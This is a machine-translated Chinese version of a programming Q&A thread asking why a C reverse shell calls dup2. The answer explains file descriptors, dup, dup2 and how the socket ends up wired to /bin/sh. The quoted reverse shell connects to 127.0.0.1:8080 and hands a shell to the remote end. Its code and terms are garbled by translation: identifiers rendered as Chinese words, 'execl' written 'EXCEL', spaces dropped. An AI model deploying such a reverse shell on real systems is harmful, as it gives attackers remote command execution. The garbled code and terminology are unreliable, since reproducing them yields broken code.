为什么在这个C反向shell代码中需要dup2?

我遇到了这个反向shell代码,它是用c编写的

main(){
intsock=socket(AF_INET,sock_STREAM,0);
sock\u addr中的结构sockaddr\u;
sock\u addr.sin\u family=AF\u INET;
sock_addr.sin_port=htons(8080);
sock_addr.sin_addr.s_addr=inet_addr(“127.0.0.1”);
连接(sock,(struct sockaddr*)和sock_addr,sizeof(struct sockaddr_in));
dup2(袜子,标准文件号);
dup2(袜子,标准件号);
dup2(袜子,标准件号);
EXCEL("/bin/sh",空);
}

我想了解它,所以我告诉自己文件描述符,因为使用了dup2。现在的问题是我不明白为什么

socket的手册页让我假设stdin、stdout和stderr正在被socket取代

[…]成功调用返回的文件描述符将是编号最低的文件
当前未为进程打开描述符

这个假设是真的吗?如果是,为什么要重置默认流?这是因为下面的execl("/bin/sh",NULL)行,正如这个线程所暗示的那样

文件描述符

每个文件、插座、管道等。。。在进程中由一个称为文件描述符的数字唯一标识。
如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从0开始

每个文件的前3个文件描述符都有一个特殊的角色:

FD C常数
0 标准文件号
一, 标准文件号
二, 标准文件号

如果需要,您可以通过查询/proc,查看文件描述符(以及它们所指的内容),例如:

ls-l/proc/<流程的pid&gt/fd

行政总裁;它的朋友

execve将当前进程替换为参数指定的新进程。
进程已打开的所有文件描述符都将保持打开状态,并且新进程可以使用它们

执行时标记为关闭的除外

你的程序做什么

程序启动后,您的文件描述符可能会如下所示:

0-&gt/dev/pts/1
1-&gt/dev/pts/1
2-&gt/dev/pts/1

(仅正常标准输入、标准输出、标准输出,连接至正常端子)

然后分配一个套接字:
intsock=socket(AF\u INET,sock\u STREAM,0)

0-&gt/dev/pts/1
1-&gt/dev/pts/1
2-&gt/dev/pts/1
3->[插座:12345]

然后连接插座并连接到dup2。
dup2克隆一个文件描述符,并与dup不同,为其分配一个特定的文件描述符编号(如果该fd已在使用,则将首先关闭)

所以在dup2(sock,STDIN_FILENO)之后您的fd将如下所示:

0->[插座:12345]
1-&gt/dev/pts/1
2-&gt/dev/pts/1
3->[插座:12345]

因此,在执行前,fd应:

0->[插座:12345]
1->[插座:12345]
2->[插座:12345]
3->[插座:12345]

然后您的进程执行到/bin/sh,用shell替换当前进程

因此,现在您有了一个shell,它的输入和输出连接到您创建的套接字,有效地允许套接字另一端的程序发送任意shell命令,这些命令将由/bin/sh执行,并通过套接字返回输出

正如@JonathanLeffler在评论中指出的,FD3可以在执行官之前关闭,因为它不需要

为什么不使用dup而不是dup2

使用dup,如您所引用的,将为您提供流程中可用的最低fd

因此,可以执行以下操作:

关闭(标准文件号);
关闭(标准文件号);
关闭(标准文件号);
dup(sock);
dup(sock);
dup(sock);

关闭将关闭fd 0-2:

3->[插座:12345]

dup会将fd 3复制到0-2(您总是得到最低的可用数字,即使这些数字是stdin、stdout或stderr)

0->[插座:12345]
1->[插座:12345]
2->[插座:12345]
3->[插座:12345]

但是,如果您有其他正在创建fd的线程,则这可能会出错(例如,在关闭stdin后,另一个线程可能正在创建新的fd,因此它将获得fd 0,而稍后的dup()将获得4)

这就是dup2()

dup2()系统调用执行与dup()相同的任务,但
它不使用编号最低的未使用文件描述符,而是
使用newfd中指定的文件描述符编号。换句话说
换句话说,文件描述符newfd被调整为
引用与oldfd相同的打开文件描述

还有dup3,除了dup2可以做的之外,它还允许您指定在执行时自动关闭fd的标志,例如O_CLOEXEC

发表评论